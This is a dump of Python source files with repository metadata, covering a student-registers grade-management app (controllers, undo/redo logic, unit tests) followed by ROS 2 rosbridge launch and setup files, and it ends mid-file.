operation=self.__operations[self.__index]
if isinstance(operation, AddOperation):
self.__base.remove(operation.getObject().getId(),operation.getObject().getDiscipline())
elif isinstance(operation, RemoveOperation):
self.__base.add(operation.getObject())
else:
self.__base.update(operation.getOldObject().getId(),operation.getOldObject().getGrade(),operation.getOldObject().getTeacher(),operation.getOldObject().getDiscipline())
def redo(self):
"""
Redo function for GradeController
"""
if self.__index==len(self.__operations):
return False
operation=self.__operations[self.__index]
if isinstance(operation,AddOperation):
self.__base.add(operation.getObject())
elif isinstance(operation, RemoveOperation):
self.__base.remove(operation.getObject().getId(),operation.getObject().getDiscipline())
else:
self.__base.update(operation.getUpdatedObject().getId(),operation.getUpdatedObject().getGrade(),operation.getUpdatedObject().getTeacher(),operation.getUpdatedObject().getDiscipline())
self.__index+=1
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,999 | langchristian96/student-registers | refs/heads/master | /Controller/DisciplineController.py | from Base.DisciplineBase import *
class DisciplineController:
def __init__(self,dscBase):
"""
Creates an instance of DisciplineController
"""
self.__base=dscBase
def getAll(self):
"""
Returns the entire list of Disciplines
"""
return self.__base.getAll()
def add(self,dsc):
"""
Adds a discipline to the discipline base
"""
self.__base.add(dsc)
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
46,000 | langchristian96/student-registers | refs/heads/master | /Base/DisciplineBase.py | from Domain.Disciplines import Discipline
class DisciplineBase:
def __init__(self):
"""
Creates an instance of the DisciplineBase
"""
self.__data=[]
def getAll(self):
"""
Returns all the DisciplineBase
"""
return self.__data
def add(self,dsc):
"""
Adds a discipline to the DisciplineBase
"""
self.__data.append(dsc)
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
46,001 | langchristian96/student-registers | refs/heads/master | /Test/TestGradeController.py | '''
Created on 12 dec. 2015
@author: LenovoM
'''
import unittest
from Domain.Grades import *
from Domain.Disciplines import *
from Base.GradeBase import *
from Controller.GradeController import *
class Test(unittest.TestCase):
def setUp(self):
l=UndoController()
grd=Grade('FP',1,'arthur',10)
repo=GradeBase()
self.ctrl=GradeController(repo,l)
def testAddGrade(self):
grd=Grade('FP',1,'arthur',10)
self.assertEqual(len(self.ctrl.getAll()), 0)
self.ctrl.addGrade(grd)
self.assertEqual(len(self.ctrl.getAll()), 1)
e=self.ctrl.getAll()
self.assertEqual(e[0].getId(), 1)
self.assertEqual(e[0].getDiscipline(), 'FP')
self.assertEqual(e[0].getTeacher(), 'arthur')
self.assertEqual(e[0].getGrade(), 10)
def testRemoveGrade(self):
grd=Grade('FP',1,'arthur',10)
self.assertEqual(len(self.ctrl.getAll()), 0)
self.ctrl.addGrade(grd)
self.assertEqual(len(self.ctrl.getAll()), 1)
self.ctrl.removeStudent(1, 'FP')
self.assertEqual(len(self.ctrl.getAll()), 0)
def testUpdateGrade(self):
grd=Grade('FP',1,'arthur',10)
self.assertEqual(len(self.ctrl.getAll()), 0)
self.ctrl.addGrade(grd)
e=self.ctrl.getAll()
self.assertEqual(e[0].getId(), 1)
self.assertEqual(e[0].getDiscipline(), 'FP')
self.assertEqual(e[0].getTeacher(), 'arthur')
self.assertEqual(e[0].getGrade(), 10)
self.ctrl.updateStudent(1, 9, 'art', 'FP')
l=self.ctrl.getAll()
self.assertEqual(l[0].getId(), 1)
self.assertEqual(l[0].getDiscipline(), 'FP')
self.assertEqual(l[0].getTeacher(), 'art')
self.assertEqual(l[0].getGrade(), 9)
def testAverageGrade(self):
grd=Grade('FP',1,'arthur',10)
self.assertEqual(len(self.ctrl.getAll()), 0)
self.ctrl.addGrade(grd)
grd2=Grade('FPcurs',1,'art',9)
self.ctrl.addGrade(grd2)
self.assertEqual(self.ctrl.averageGrade(1), 9.5)
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
46,002 | langchristian96/student-registers | refs/heads/master | /Test/TestStudentBase.py | '''
Created on 5 dec. 2015
@author: LenovoM
'''
import unittest
from Base.StudentBase import *
from Domain.Students import *
class Test(unittest.TestCase):
def setUp(self):
self.studentbase=StudentBase()
s1=Student(1,'Chris')
self.studentbase.add(s1)
s2=Student(2,'test')
self.studentbase.add(s2)
def testAdd(self):
s3=Student(3,"qwer")
s4=Student(3,'rtrewe')
self.studentbase.add(s3)
self.assertEqual(len(self.studentbase),3)
self.assertRaises(StudentException,self.studentbase.add,s4)
def testDelete(self):
self.studentbase.remove(2)
self.assertEqual(len(self.studentbase), 1)
self.assertRaises(StudentException,self.studentbase.remove,24)
def testUpdate(self):
#id grade teacher discipline
self.studentbase.update(1, 'chris2')
c=self.studentbase.findById(1)
self.assertEqual(c.getName(), 'chris2')
def testFindById(self):
c1=Student(1,'Chris')
c2=self.studentbase.findById(1)
self.assertEqual(c1.getId(), c2.getId())
self.assertEqual(c1.getName(), c2.getName())
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
46,003 | langchristian96/student-registers | refs/heads/master | /Controller/StudentController.py | from Base.StudentBase import *
from Controller.ChangeHistory import *
from Controller.UndoController import *
class StudentController:
def __init__(self,studBase,undoController):
'''
Creates a new instance of StudentController.
'''
self.__base=studBase
self.__undoController=undoController
self.__operations=[]
self.__index=0
def findById(self,id):
return self.__base.findById(id)
def addStudent(self,stud):
'''
Adds a student to the registers.
Input: stud - of type Student
Output: the student is added, if there in no other student with the
given id
Exceptions: raises StudentException if another student with the
same id already exists
'''
self.__base.add(stud)
self.__operations=self.__operations[0:self.__index]
self.__operations.append(AddOperation(stud))
self.__index+=1
self.__undoController.recordUpdatedController([self])
for e in self.__operations:
print(e)
def removeStudent(self,id):
'''
Removes a student from the registers, using its id
Input: id - integer, the id of the student that must be removed
Output: if such a student exists, it is removed and returned
Exceptions: raises StudentException if a student with the given id
does not exist
'''
client=self.__base.findById(id)
self.__operations=self.__operations[0:self.__index]
self.__base.remove(id)
self.__operations.append(RemoveOperation(client))
self.__index+=1
self.__undoController.recordUpdatedController([self])
def getAll(self):
'''
Returns the list of students
'''
return self.__base.getAll()
def updateStudent(self,id,newName):
'''
Updates a student from the registers, using its id
Input:id-integer positive
newName-string
Output:if such a student exists, it is updated
Exceptions: raises StudentException if a grade with the given id
does not exist
'''
self.__operations=self.__operations[0:self.__index]
oldCl=self.__base.findById(id)
oldClient=Student(oldCl.getId(),oldCl.getName())
self.__base.update(id,newName)
newCl=self.__base.findById(id)
newClient=Student(newCl.getId(),newCl.getName())
self.__operations.append(UpdateOperation(oldClient,newClient))
print(oldCl.getName())
self.__index+=1
self.__undoController.recordUpdatedController([self])
def undo(self):
"""
Undo function for StudentController
"""
if self.__index==0:
return False
self.__index-=1
operation=self.__operations[self.__index]
if isinstance(operation, AddOperation):
self.__base.remove(operation.getObject().getId())
elif isinstance(operation, RemoveOperation):
self.__base.add(operation.getObject())
else:
print(operation.getOldObject().getName())
self.__base.update(operation.getOldObject().getId(),operation.getOldObject().getName())
def redo(self):
"""
Redo function for StudentController
"""
if self.__index==len(self.__operations):
return False
operation=self.__operations[self.__index]
if isinstance(operation,AddOperation):
self.__base.add(operation.getObject())
elif isinstance(operation, RemoveOperation):
self.__base.remove(operation.getObject().getId())
else:
self.__base.update(operation.getUpdatedObject().getId(),operation.getUpdatedObject().getName())
self.__index+=1
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
46,004 | langchristian96/student-registers | refs/heads/master | /Controller/UndoController.py | class UndoController:
def __init__(self):
"""
Creates an instance of UndoController
"""
self.__controllers=[]
self.__index=-1
def recordUpdatedController(self,modifController):
self.__controllers.append(modifController)
self.__controllers = self.__controllers[0:self.__index + 2]
self.__index=len(self.__controllers)-1
def undo(self):
if self.__index<0:
return False
for i in self.__controllers[self.__index]:
i.undo()
self.__index-=1
return True
def redo(self):
if self.__index>=len(self.__controllers)-1:
return False
for e in self.__controllers[self.__index]:
e.redo()
self.__index+=1
return True
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
46,005 | langchristian96/student-registers | refs/heads/master | /Controller/StatisticsControllers.py | import operator
from SortFilter import *
from Controller.StudentController import *
from Controller.DisciplineController import *
from Controller.GradeController import *
from Base.StudGrade import *
from Base.StudGrade import StudGrade
class StatisticsController:
def __init__(self,GradeCtrl,StudentCtrl,DisciplineCtrl):
"""
Creates an instance of StatisticsController
"""
self.__GradeController=GradeCtrl
self.__StudentController=StudentCtrl
self.__DisciplineController=DisciplineCtrl
def getDisciplines(self,discipline):
"""
Searches if a discipline is available in the discipline base
Input: discipline-string
Output: 1 if found the given discipline
0 otherwise
"""
d=self.__DisciplineController.getAll()
disciplines=[]
for i in d:
disciplines.append(i.getDiscipline())
if discipline not in disciplines:
return 0
return 1
def getListGradesAlphabetically(self,list):
"""
Returns the list of grades sorted alphabetically
Input: list of grades
Output: list of grades ordered alphabetically
"""
finlist=[]
if list==[]:
return 0
else:
for e in list:
c=e.getId()
q=self.__StudentController.findById(c)
w=StudGrade(q.getName(),e.getDiscipline(),e.getGrade(),e.getTeacher())
finlist.append(w)
gnomeSort(finlist)
return finlist
def getAverageGrades(self):
"""
Calculates the average grades and creates a list with both students and grades combined
Input: -
Output: list of top students
"""
students=self.__StudentController.getAll()
name=[]
for e in students:
c=e.getId()
q=self.__StudentController.findById(c)
t=self.__GradeController.averageGrade(c)
w={'name':q.getName(),'average':t}
name.append(dict(w))
name.sort(key=operator.itemgetter('average'),reverse=True)
return name
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
46,008 | t40986044/ros2bridge_suite | refs/heads/main | /rosbridge_server/launch/rosbridge_tcp.launch.py | from launch import LaunchDescription
from launch.substitutions import EnvironmentVariable
import os
import launch_ros.actions
import pathlib
def generate_launch_description():
# parameters_file_path = str(pathlib.Path(__file__).parents[1]) # get current path and go one level up
# parameters_file_path += '/config/' + parameters_file_name
# parameters_file_path += './' + 'default.yaml'
# print(parameters_file_path)
return LaunchDescription([
launch_ros.actions.Node(
name='rosbridge_tcp',
package='rosbridge_server',
node_executable='rosbridge_tcp',
output='screen',
# parameters=[
# parameters_file_path
# ],
),
launch_ros.actions.Node(
name='rosapi',
package='rosapi',
node_executable='rosapi_node',
output='screen',
# parameters=[
# parameters_file_path
# ],
),
]
) | {"/rosbridge_server/src/rosbridge_server/__init__.py": ["/rosbridge_server/src/rosbridge_server/udp_handler.py"]} |
46,009 | t40986044/ros2bridge_suite | refs/heads/main | /rosbridge_server/src/rosbridge_server/__init__.py | from .websocket_handler import RosbridgeWebSocket # noqa: F401
from .client_mananger import ClientManager # noqa: F401
# TODO(@jubeira): add imports again once the modules are ported to ROS2.
from .tcp_handler import RosbridgeTcpSocket
from .udp_handler import RosbridgeUdpSocket,RosbridgeUdpFactory
| {"/rosbridge_server/src/rosbridge_server/__init__.py": ["/rosbridge_server/src/rosbridge_server/udp_handler.py"]} |
46,010 | t40986044/ros2bridge_suite | refs/heads/main | /rosbridge_library/src/rosbridge_library/__init__.py | from .capabilities import *
from .internal import *
from .util import * | {"/rosbridge_server/src/rosbridge_server/__init__.py": ["/rosbridge_server/src/rosbridge_server/udp_handler.py"]} |
46,011 | t40986044/ros2bridge_suite | refs/heads/main | /rosbridge_server/setup.py | import os
from glob import glob
from setuptools import setup, find_packages
package_name = 'rosbridge_server'
setup(
name=package_name,
version='0.0.0',
packages=find_packages('src'),
package_dir = {'':'src'},
data_files=[
('share/ament_index/resource_index/packages', ['resource/' + package_name]),
# Include our package.xml file
(os.path.join('share', package_name), ['package.xml']),
# Include all launch files.
(os.path.join('share', package_name, 'launch'), glob(os.path.join('launch', '*.launch.py'))),
# Include all launch files.
(os.path.join('share', package_name, 'launch'), glob(os.path.join('launch', '*.xml'))),
],
install_requires=['setuptools'],
zip_safe=True,
maintainer='Administrator',
maintainer_email='396431649@qq.com',
description='TODO: Package description',
license='TODO: License declaration',
tests_require=['pytest'],
entry_points={
'console_scripts': [
'rosbridge_tcp = rosbridge_server.scripts.rosbridge_tcp:main',
'rosbridge_udp = rosbridge_server.scripts.rosbridge_udp:main',
